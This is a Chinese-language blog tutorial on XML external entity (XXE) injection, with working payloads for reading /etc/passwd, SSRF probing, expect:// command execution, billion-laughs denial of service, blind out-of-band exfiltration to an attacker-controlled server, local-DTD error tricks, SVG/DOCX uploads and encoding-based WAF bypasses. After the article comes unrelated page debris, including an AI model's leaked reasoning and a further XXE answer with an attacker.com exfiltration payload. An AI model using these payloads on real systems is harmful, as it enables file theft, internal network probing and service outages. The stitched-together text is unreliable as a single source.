XXE知识总结,有这篇就够了!

公粽号:黒掌

一个专注于分享渗透测试、黑客圈热点、黑客工具技术区博主!

XXE基础

XXE(XML External Entity Injection)全称为XML外部实体注入,由于程序在解析输入的XML数据时,解析了攻击者伪造的外部实体而产生的。例如PHP中的simplexml_load默认情况下会解析外部实体,有XXE漏洞的标志性函数为simplexml_load_string()。而学习XXE要从认识XML开始。

XML基础

XML 指可扩展标记语言(EXtensible Markup Language)
XML 是一种标记语言,很类似 HTML
XML 的设计宗旨是传输数据,而非显示数据
XML 标签没有被预定义。您需要自行定义标签。
XML 被设计为具有自我描述性。
XML 是 W3C 的推荐标准

XML 是不作为的。

也许这有点难以理解,但是 XML 不会做任何事情。XML 被设计用来结构化、存储以及传输信息。

下面是 John 写给 George 的便签,存储为 XML:

<note><to>George</to><from>John</from><heading>Reminder</heading><body>Don't forget the meeting!</body></note>

上面的这条便签具有自我描述性。它拥有标题以及留言,同时包含了发送者和接受者的信息。但是,这个 XML 文档仍然没有做任何事情。它仅仅是包装在 XML 标签中的纯粹的信息。我们需要编写软件或者程序,才能传送、接收和显示出这个文档。

除此之外,XML是纯文本,且允许创作者定义自己的标签和文档结构,是独立于软件和硬件的信息传输工具。

DTD

文档类型定义(DTD)可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。

DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

内部的 DOCTYPE 声明

假如 DTD 被包含在您的 XML 源文件中,它应当通过下面的语法包装在一个 DOCTYPE 声明中:

<!DOCTYPE 根元素 [元素声明]>

外部文档声明

假如 DTD 位于 XML 源文件的外部,那么它应通过下面的语法被封装在一个 DOCTYPE 定义中:

<!DOCTYPE 根元素 SYSTEM "文件名">

DTD的作用:

  • 通过 DTD,您的每一个 XML 文件均可携带一个有关其自身格式的描述。
  • 通过 DTD,独立的团体可一致地使用某个标准的 DTD 来交换数据。
  • 您的应用程序也可使用某个标准的 DTD 来验证从外部接收到的数据。
  • 您还可以使用 DTD 来验证您自身的数据。
实体

实体可以理解为变量,其必须在DTD中定义申明,可以在文档中的其他位置引用该变量的值。

实体类别

实体按类型主要分为以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体,看看这些实体的申明方式。
完整的实体类别可参考 DTD - Entities

参数实体用%实体名称申明,引用时也用%实体名称;其余实体直接用实体名称申明,引用时用&实体名称。
参数实体只能在DTD中申明,DTD中引用;其余实体只能在DTD中申明,可在xml文档中引用。

内部实体:

<!ENTITY 实体名称 "实体的值">

外部实体:

<!ENTITY 实体名称 SYSTEM "URI">

参数实体:

<!ENTITY % 实体名称 "实体的值">或者<!ENTITY % 实体名称 SYSTEM "URI">

实例演示:除参数实体外实体+内部实体

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a [    <!ENTITY name "nMask">]><foo>        <value>&name;</value> </foo>

实例演示:参数实体+外部实体

<?xml version="1.0" encoding="utf-8"?><!DOCTYPE a [    <!ENTITY % name SYSTEM "file:///etc/passwd">    %name;]>

注意:%name(参数实体)是在DTD中被引用的,而&name(其余实体)是在xml文档中被引用的。

由于xxe漏洞主要是利用了DTD引用外部实体导致的漏洞,那么重点看下能引用哪些类型的外部实体。

外部实体

外部实体即在DTD中使用

<!ENTITY 实体名称 SYSTEM "URI">

语法引用外部的实体,而非内部实体,那么URL中能写哪些类型的外部实体呢?
主要的有file、http、https、ftp等等,当然不同的程序支持的不一样:

img

php安装扩展后还能支持的一些协议:

img

XML外部实体注入

XML External Entity Injection即xml外部实体注入漏洞,简称XXE漏洞。XXE是针对解析XML输入的应用程序的一种攻击。 当弱配置的XML解析器处理包含对外部实体的引用的XML输入时,就会发生此攻击。 这种攻击可能导致信息泄露,命令执行,拒绝服务,SSRF,内网端口扫描以及其他系统影响。

XXE检测

主要的方法是检测所有接受XML作为输入内容端点,抓包观察其是否会返回我们想要的内容。

如图,首先检测XML是否会被成功解析:

<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE ANY [ <!ENTITY words "Hello XXE !">]><root>&words;</root>

img

如果数据包或页面中存在“Hello XXE”的字样,则表名实体已被解析。

img

接下来检测该端点是否支持DTD引用外部实体:

<?xml version=”1.0” encoding=”UTF-8”?><!DOCTYPE ANY [<!ENTITY % name SYSTEM "http://localhost/tp5/test.xml">%name;]>

此时通过查看自己服务器上的日志来判断,看目标服务器是否向你的服务器发了一条请求test.xml的HTTP request。

img

如图所示,则该处很可能存在XML外部实体注入漏洞。

另外,许多服务端开发框架(比如基于RESTful服务的JAX-RS)也允许基于数据交换的XML格式作为输入,甚至是输出。如果可以进行这种替换,可以通过修改请求头中的Content-Type的值(比如修改成text/xml或者application/xml)来进行验证触发。即使客户端只能使用JSON格式或者是直接路径或者是参数查询的方式来访问服务。

对于传统的XXE来说,要求攻击者只有在服务器有回显或者报错的基础上才能使用XXE漏洞来读取服务器端文件,如果没有回显则可以使用Blind XXE漏洞来构建一条带外信道提取数据。这块知识在下面的XXE利用中有详细介绍。

XXE利用及payload

以下利用主要基于libxml2版本,其中libxml是PHP的xml支持。
而libxml版本在2.9.1及以后,默认不解析外部实体,很多利用将无法实现。

文件读取
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "file:///etc/passwd" >]><root><name>&xxe;</name></root>

文件读取的利用和payload非常好理解,即使用file协议读取文件内容,并输出到页面上(有回显的情况)。

SSRF

XXE 可以与SSRF(服务端请求伪造) 漏洞一起用于探测其它内网主机的信息,基于http协议。

<?xml version="1.0" encoding="ISO-8859-1"?><!DOCTYPE foo [<!ELEMENT foo ANY ><!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >]><foo>&xxe;</foo>

当然也可以用来探测端口信息,根据响应包的信息,若非“connection refused”则表示该端口可能是开放的。

众所周知,有些企业对内网的安全性可能不那么注重。除了以上的利用,控制服务器对外网发送请求也是有可能成功的。此处可使用ncat工具进行测试。关于ncat的使用:ncat-网络工具中的‘瑞士军刀’

用ncat在自己的服务器上开启监听:ncat -lvkp 8081(端口可自定义)

之后便可使用以下语句尝试是否能够建立连接:

<?xml version="1.0" encoding="utf-8"?>  <!DOCTYPE data SYSTEM "http://ATTACKERIP:8081/" [  <!ELEMENT data (#PCDATA)>  ]><data>4</data>

如果能够建立连接,那么服务器端的ncat会收到相应的请求信息。

RCE

在安装expect扩展的PHP环境里执行系统命令,当然其他协议也有可能可以执行系统命令

<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE xxe [<!ELEMENT name ANY ><!ENTITY xxe SYSTEM "expect://id" >]><root><name>&xxe;</name></root>
DDoS

支持实体测试:

<!DOCTYPE data [<!ELEMENT data (#ANY)><!ENTITY a0 "dos" ><!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;"><!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;">]><data>&a2;</data>

如果解析过程变的非常缓慢,则表明测试成功,即目标解析器配置不安全可能遭受至少一种 DDoS 攻击。

Billion Laughs 攻击

一个经典的Dos攻击payload:

<?xml version="1.0"?> <!DOCTYPE lolz [ <!ENTITY lol "lol"> <!ELEMENT lolz (#PCDATA)> <!ENTITY lol1 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;"> <!ENTITY lol2 "&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;&lol1;"> <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">...... <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">]><lolz>&lol9;</lolz>

当XML解析器加载该文档时,它会看到它包含一个根元素“lolz”,该元素包含文本“&lol9;”。然而,“&lol9;”是一个已定义的实体,它扩展为包含十个“&lol8;”字符串。每个“&lol8;”字符串都是一个已定义的实体,可以扩展到10个“&lol7;”字符串,以此类推。在处理完所有的实体扩展之后,这个小(小于1 KB)的XML块实际上将包含109 = 10亿个“lol”,占用了将近3 gb的内存。

Blind XXE

Blind XXE,字面意思也就是提交xml的服务器端点不再返回有效的数据,此时我们前面的一些利用方法就要失效了。但是解决方法还是有的。

XXE OOB(外带数据通道)
概念

带外数据(out—of—band data),有时也称为加速数据(expedited data),
是指连接双方中的一方发生重要事情,想要迅速地通知对方。这种通知在已经排队等待发送的任何“普通”(有时称为“带内”)数据之前发送。带外数据设计为比普通数据有更高的优先级。带外数据是映射到现有的连接中的,而不是在客户机和服务器间再用一个连接。

利用

带外数据通道的建立是使用嵌套形式,利用外部实体中的URL发出访问,从而跟攻击者的服务器发生联系。但有些情况下不能在实体定义中引用参数实体,即有些解释器不允许在内层实体中使用外部连接,无论内层是一般实体还是参数实体。

将嵌套的实体声明放入到一个外部文件中,这里一般是放在攻击者的服务器上,这样做可以规避错误。

<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % file SYSTEM "file:///C:/1.txt"><!ENTITY % remote SYSTEM "http://remotevps/evil.xml">%remote;%all;]><root>&send;</root>

evil.xml:

<!ENTITY % all "<!ENTITY send SYSTEM 'http://remotevps/1.php?file=%file;'>">

实体remote,all,send的引用顺序很重要,首先对remote引用目的是将外部文件evil.xml引入到解释上下文中,然后执行%all,这时会检测到send实体,在root节点中引用send,就可以成功实现数据转发。当请求发送以后,攻击者的服务器上就能查看到1.txt中的内容。

基于错误的XXE

形同blind xxe,当我们成功地让服务端解析了xml文档,得到的响应却是通用的。比如添加账号的时候只返回“添加成功”这样的响应。此时我们可以让服务器响应报错信息来得到我们要的敏感数据。

有两种报错的来源:

  • DTD结构的错误
  • XML架构验证时的错误

外部DTD

在本例中,我们将让服务器加载一个恶意DTD,它将在错误消息中显示文件的内容(只有当可以看到错误消息时,这才有效)。

可以使用恶意的外部DTD触发包含/etc/passwd文件内容的XML解析错误消息,如下所示:

<!ENTITY % file SYSTEM "file:///etc/passwd"><!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">%eval;%error;

这个DTD执行以下步骤:

定义一个名为file的XML参数实体,其中包含/etc/passwd文件的内容。

定义一个名为eval的XML参数实体,包含另一个名为error的XML参数实体的动态声明。错误实体将通过加载一个不存在的文件来评估,该文件的名称包含文件实体的值。

使用eval实体,该实体将导致执行错误实体的动态声明。

使用错误实体,以便通过尝试加载不存在的文件来得到数据,从而导致返回包含不存在文件的名称的错误消息,该名称正是/etc/passwd文件的内容。

实例演示:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-iUkguVaZ-1626228475641)(https://tva1.sinaimg.cn/large/008i3skNgy1gsg90v59jcj311t0a7wja.jpg)]

请注意,外部DTD允许我们在第二个(eval)中包含一个实体,但在内部DTD中是禁止的。因此,在不允许使用外部DTD的情况下(通常)强制执行错误是行不通的。

内外部DTD混合

那么,当带外交互被阻止(外部连接不可用)时, blind XXE漏洞怎么办?

在这种情况下,由于XML语言规范中的漏洞,仍然有可能触发包含敏感数据的错误消息。如果文档的DTD混合使用内部和外部DTD声明,那么内部DTD可以重新定义在外部DTD中声明的实体。当发生这种情况时,在另一个参数实体的定义中使用XML参数实体的限制就放宽了。

这意味着攻击者可以从内部DTD中使用基于错误的XXE技术,前提是他们使用的XML参数实体是重新定义在外部DTD中声明的实体。当然,如果带外连接被阻塞,那么就不能从远程位置加载外部DTD。相反,它需要是应用服务器本地的外部DTD文件。从本质上说,攻击涉及调用碰巧存在于本地文件系统上的DTD文件,并将其重新用于重定义现有实体,从而触发包含敏感数据的解析错误。

例如,假设服务器文件系统上位于位置/usr/local/app/schema.上有一个DTD文件这个dtd文件定义了一个名为custom_entity的实体。攻击者可以通过提交如下混合DTD来触发包含/etc/passwd文件内容的XML解析错误消息:

<!DOCTYPE foo [    <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">    <!ENTITY % custom_entity '        <!ENTITY &#x25; file SYSTEM "file:///etc/passwd">        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///nonexistent/&#x25;file;&#x27;>">        &#x25;eval;        &#x25;error;    '>    %local_dtd;]>

这个DTD执行以下步骤:
定义名为local_dtd的XML参数实体,其中包含存在于服务器文件系统上的外部DTD文件的内容。
重新定义名为custom_entity的XML参数实体,该实体已经在外部DTD文件中定义。实体被重新定义为包含前面描述的基于错误的XXE漏洞,用于触发包含/etc/passwd文件内容的错误消息。
使用local_dtd实体,以便解释外部DTD,包括重新定义的custom_entity实体的值。这将导致所需的错误消息。
现实世界的例子:使用GNOME桌面环境的系统通常有一个DTD在/usr/share/yelp/ DTD /docbookx包含名为ISOamso的实体的dtd。

img

由于该技术使用内部DTD,所以首先需要找到一个有效的DTD。你可以安装相同的服务器正在使用的操作系统/软件和搜索一些默认dtd,或抓取系统内的默认dtd列表,并检查其中是否存在。

<!DOCTYPE foo [<!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">%local_dtd;]>
XInclude攻击

什么是XInclude? 顾名思义,xinclude可以理解为xml include

熟悉编译/脚本语言的一定熟知,像php的include,python和java的import都是可以进行文件包含的。

那么文件包含有什么好处?

当然是可以使代码更整洁,我们可以将定义的功能函数放在function.php中,再在需要使用功能函数的文件中使用include包含function.php,这样就避免了重复冗余的函数定义,同样可以增加代码的可读性。故此,xinclude也不例外,它是xml标记语言中包含其他文件的方式。

一些应用程序接收客户端提交的数据,会将其嵌入到服务器端XML文档中,然后解析文档。当客户端提交的数据被放置到后端SOAP(简单对象访问协议)请求中,然后由后端SOAP服务处理时,就会出现这种情况。

在这种情况下,我们不能执行典型的XXE攻击,因为无法控制整个XML文档,因此不能定义或修改DOCTYPE元素。但是,我们可以使用XInclude代替。XInclude是XML规范的一部分,它允许从子文档构建XML文档。我们可以在XML文档中的任何数据值中放置XInclude攻击,因此可以在只控制放在服务器端XML文档中的单个数据项的情况下执行攻击。

要执行XInclude攻击,需要引用XInclude名称空间并提供希望包含的文件的路径。例如:

productId=<foo xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></foo>&storeId=1

详细的利用请参考: 浅析xml之xinclude & xslt

XSTL攻击

XSLT(扩展样式表转换语言)是一种对 XML 文档进行转化的语言。XML 文档通过 XSLT 转化后可以变成为另一份不同的 XML 文档,或者其他类型的文档,例如 HTML 文档、 CSV 文件、纯文本文件等。

有关具体的转化过程,请参考:sourse

因为同样具有XML文档,那也有XXE的漏洞隐患。关于具体的应用,可参考优秀翻译文章:sourse

XXE Bypass

上传文件绕过

有些应用程序允许用户上传文件,然后在服务器端处理这些文件。一些常见的文件格式使用XML或包含XML子组件。基于xml的格式包括DOCX这样的办公文档格式和SVG这样的图像格式。

例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收PNG或JPEG之类的格式,所使用的图像处理库也可能支持SVG图像。由于SVG格式使用XML,攻击者可以提交恶意的SVG图像,从而达到针对XXE漏洞的隐藏攻击面。

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200"><image xlink:href="file:///etc/hostname"></image></svg>

另外,许多常见的文档格式,例如doc,docx,odt等,其实质是一个zip文件,其中包含xml文件。当我们用winrar、7z等工具打开这类文件就能看到:

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-vGOkPlw0-1626228475644)(https://tva1.sinaimg.cn/large/008i3skNgy1gsg90wkdo9j30gs04xq30.jpg)]

我们可以利用这些文件来绕过xxe防御。 oxml_xxe就是一个用于向此类文件中嵌入XXE Payload的工具。它支持以下文件格式的创建或修改:

  • DOCX/XLSX/PPTX
  • ODT/ODG/ODP/ODS
  • SVG
  • XML
  • PDF (experimental)
  • JPG (experimental)
  • GIF (experimental)

oxml_xxe的工作原理分为两种:

  • 一是直接建立一个文件,该模式会自动添加DOCTYPE并将XML实体插入到用户选择的文件中。
  • 二是替换文件中的字符串,此模式会遍历查找文档中的符号§。并用XML实体(“&xxe;”)替换此符号的所有实例。注意,你可以在任何地方打开文档并插入§来替换它。常见的用例是web应用程序,它读取xlsx,然后将结果打印到屏幕上。利用XXE我们便可以将内容打印到屏幕上。
编码绕过
base64
<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

仅当XML服务器接受data://协议时,此方法才有效。

utf-7

直接上样例:

<!xml version="1.0" encoding="UTF-7"?-->+ADw-+ACE-DOCTYPE+ACA-foo+ACA-+AFs-+ADw-+ACE-ENTITY+ACA-example+ACA-SYSTEM+ACA-+ACI-/etc/passwd+ACI-+AD4-+ACA-+AF0-+AD4-+AAo-+ADw-stockCheck+AD4-+ADw-productId+AD4-+ACY-example+ADs-+ADw-/productId+AD4-+ADw-storeId+AD4-1+ADw-/storeId+AD4-+ADw-/stockCheck+AD4-
使用两种编码

思路是在同一个文档里同时使用两种编码,从而迷惑 WAF。直接用生成的命令来说明:

echo -n '<?xml version="1.0" encoding="UTF-16BE"?>' > payload.xmlecho '<a>1337</a>' | iconv -f UTF-8 -t UTF-16BE >> payload.xml

头部声明使用 UTF-8 编码,而之后使用 UTF-16 编码。当解析器读到 XML 声明的编码时,会切换到该编码(继续解析),即使该编码与声明部分所使用的编码不同。与此同时,WAF 一般不支持这种多种编码的 XML 文档。

在实体内编码

是新的XML技术,对内部实体中的任何DTD/XML进行编码(编码格式是字符串16进制+UTF-8形式),达到WAF bypass的效果!
当没有XXE,但XML主体中存在漏洞(例如SQL注入)时起作用。

img

文档中的额外空格

由于XXE通常在XML文档的开头,所以比较省事儿的WAF可以避免处理整个文档,而只解析它的开头。但是,XML格式允许在格式化标记属性时使用任意数量的空格,因此攻击者可以在<?xml?><!DOCTYPE>中插入额外的空格,从而绕过此类WAF。

XXE工具

XXEinjector

XXEinjector是一个使用Ruby编写的自动化xxe漏洞检测工具,可以通过给定一个http请求的包,然后设置好好参数就会自动化的进行fuzz,他会通过内置的规则进行自动化的测试,并且还支持二次注入(通过另一个请求触发漏洞)。

参考资料

未知攻焉知防——XXE漏洞攻防

https://phonexicum.github.io/infosec/xxe.html#xxe-targets

https://github.com/enjoiz/XXEinjector

[PayloadsAllTheThings/XXE Injection at master ](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XXE Injection#exploiting-xxe-to-retrieve-files)

【译】黑夜的猎杀-盲打XXE - 先知社区

浅析xml之xinclude & xslt – CoLaBug.com

XML External Entity - HackTricks

活码3D(缩小)

今天的分享就到这里,喜欢的小伙伴记得一键三连,我有一个公粽号【黒掌】, 可以免费获取更多黑客秘籍,欢迎来耍!

03-30
<think>嗯,用户之前问过XSS,现在又问了XXE。这说明他们对网络安全相关的漏洞比较感兴趣,可能是在学习这方面的知识,或者工作中遇到了相关的问题。我需要先确认XXE的定义,然后回想常见的攻击类型、危害以及防御措施。 首先,XXE的全称是XML External Entity,也就是XML外部实体攻击。它和XSS不同,XSS主要针对的是跨站脚本,而XXE则是利用了XML解析器的特性来实施攻击。用户可能想知道XXE的基本概念,所以得先给出一个明确的定义。 接下来,攻击类型方面,XXE主要有几种形式,比如读取本地文件、发起SSRF攻击、拒绝服务攻击,还有盲注XXE。这些都需要详细解释,特别是通过示例让用户更容易理解。比如,读取/etc/passwd文件的例子,用户可能对如何构造这样的XML payload感兴趣。 然后要讲危害,比如数据泄露、服务中断、内网探测等。这部分需要和前面的攻击类型对应起来,说明每种攻击可能导致的后果。用户可能关心这些漏洞的实际影响,以便评估风险。 防御措施方面,禁用外部实体是最关键的,同时还有输入验证、使用安全配置的解析器、限制XML结构等。需要具体说明如何实施这些措施,比如在Java中如何设置DocumentBuilderFactory的属性,或者在PHP中如何使用libxml_disable_entity_loader。用户可能需要实际的代码示例来参考,这样他们可以在自己的项目中应用。 另外,用户之前询问的是XSS,现在转向XXE,可能是在构建一个安全的Web应用,需要全面了解各种漏洞。因此,回答中要强调两者的不同,以及防御策略的差异。比如,XSS主要涉及输入输出过滤和CSP,而XXE则更多涉及XML解析的配置。 可能用户还不太清楚XML解析的具体过程,所以需要简单说明XML外部实体的概念,以及为什么解析器默认处理这些实体会有安全隐患。这样可以帮助他们理解漏洞的根源。 需要确保回答结构清晰,分点列出,每个部分有足的细节但不过于冗长。用户可能需要快速找到关键信息,比如如何防御,因此防御措施部分要重点突出,并且给出具体的方法和代码示例,这样更实用。 还要注意检查技术细节的准确性,比如PHP的函数是否正确,Java的配置是否最新。避免过时的方法,比如旧的PHP版本处理XXE的方式可能和新版不同,需要指出版本差异或者建议使用最新安全实践。 最后,总结部分要强调XXE的严重性和防御的必要性,提醒用户在实际开发中注意XML处理的安全配置,结合其他安全措施。这样用户能有一个全面的认识,并知道如何采取行动来保护他们的应用。</think>### XXE(XML 外部实体攻击)介绍 #### 1. **定义** XXE(XML External Entity,XML 外部实体攻击)是一种利用 XML 解析器漏洞的安全攻击。攻击者通过注入恶意 XML 外部实体,读取服务器本地文件、发起网络请求或执行拒绝服务攻击(DoS)。其核心是滥用 XML 规范中定义的“外部实体”功能。 --- #### 2. **攻击原理** XML 允许通过 `<!ENTITY>` 定义实体(如变量),而外部实体可以通过 URL 或文件路径引用外部资源。若 XML 解析器未禁用外部实体解析,攻击者可构造恶意 XML 内容,例如: ```xml <!DOCTYPE payload [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]> <data>&xxe;</data> ``` 当解析此 XML 时,服务器会读取 `/etc/passwd` 文件内容并返回给攻击者。 --- #### 3. **常见攻击类型** - **读取本地文件** - **示例**:通过 `file://` 协议读取敏感文件(如 `/etc/passwd`、`C:\Windows\system.ini`)。 - **Payload**: ```xml <!ENTITY xxe SYSTEM "file:///etc/passwd"> ``` - **服务端请求伪造(SSRF)** - **示例**:利用外部实体访问内网服务(如 `http://internal-api:8080`)。 - **Payload**: ```xml <!ENTITY xxe SYSTEM "http://192.168.1.1/admin"> ``` - **拒绝服务攻击(DoS)** - **示例**:通过“实体膨胀”耗尽服务器资源(如 Billion Laughs 攻击): ```xml <!DOCTYPE payload [ <!ENTITY a "lol"> <!ENTITY b "&a;&a;&a;&a;&a;"> <!ENTITY c "&b;&b;&b;&b;&b;"> <!-- 重复定义直至内存耗尽 --> ]> <data>&c;</data> ``` - **盲注 XXE** - **原理**:通过外带数据(Out-of-Band)将文件内容发送到攻击者服务器。 - **Payload**: ```xml <!ENTITY % xxe SYSTEM "file:///etc/passwd"> <!ENTITY % exfil "<!ENTITY % send SYSTEM 'http://attacker.com/?data=%xxe;'>"> %exfil; ``` --- #### 4. **危害** - **敏感数据泄露**:读取服务器配置文件、数据库凭证等。 - **内网探测**:扫描内网服务或 API。 - **服务瘫痪**:通过 DoS 攻击导致系统崩溃。 - **远程代码执行(RCE)**:结合其他漏洞(如 PHP Expect 模块)执行命令。 --- #### 5. **防御措施** - **禁用外部实体解析** - **Java**:设置 `DocumentBuilderFactory` 禁用外部实体: ```java DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance(); dbf.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true); dbf.setFeature("http://xml.org/sax/features/external-general-entities", false); dbf.setFeature("http://xml.org/sax/features/external-parameter-entities", false); ``` - **PHP**:使用 `libxml_disable_entity_loader(true);`。 - **输入验证与过滤** - 检查 XML 内容是否包含 `<!DOCTYPE>` 或 `<!ENTITY>` 声明。 - 使用白名单限制 XML 中允许的标签和属性。 - **使用安全配置的 XML 解析器** - 优先选择默认禁用外部实体的解析库(如 Python 的 `defusedxml`)。 - 避免直接使用 `XMLReader` 或 `SAXParser` 的默认配置。 - **限制 XML 结构复杂度** - 禁止 DTD(文档类型定义)或限制实体层级深度。 - **监控与日志审计** - 记录异常的 XML 解析请求,分析潜在攻击行为。 --- #### 6. **总结** XXE 是 XML 解析场景中的高危漏洞,防御需从禁用外部实体、严格过滤输入、选择安全解析器三方面入手。开发中应避免信任用户提交的 XML 数据,并定期更新依赖库以修复已知漏洞。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值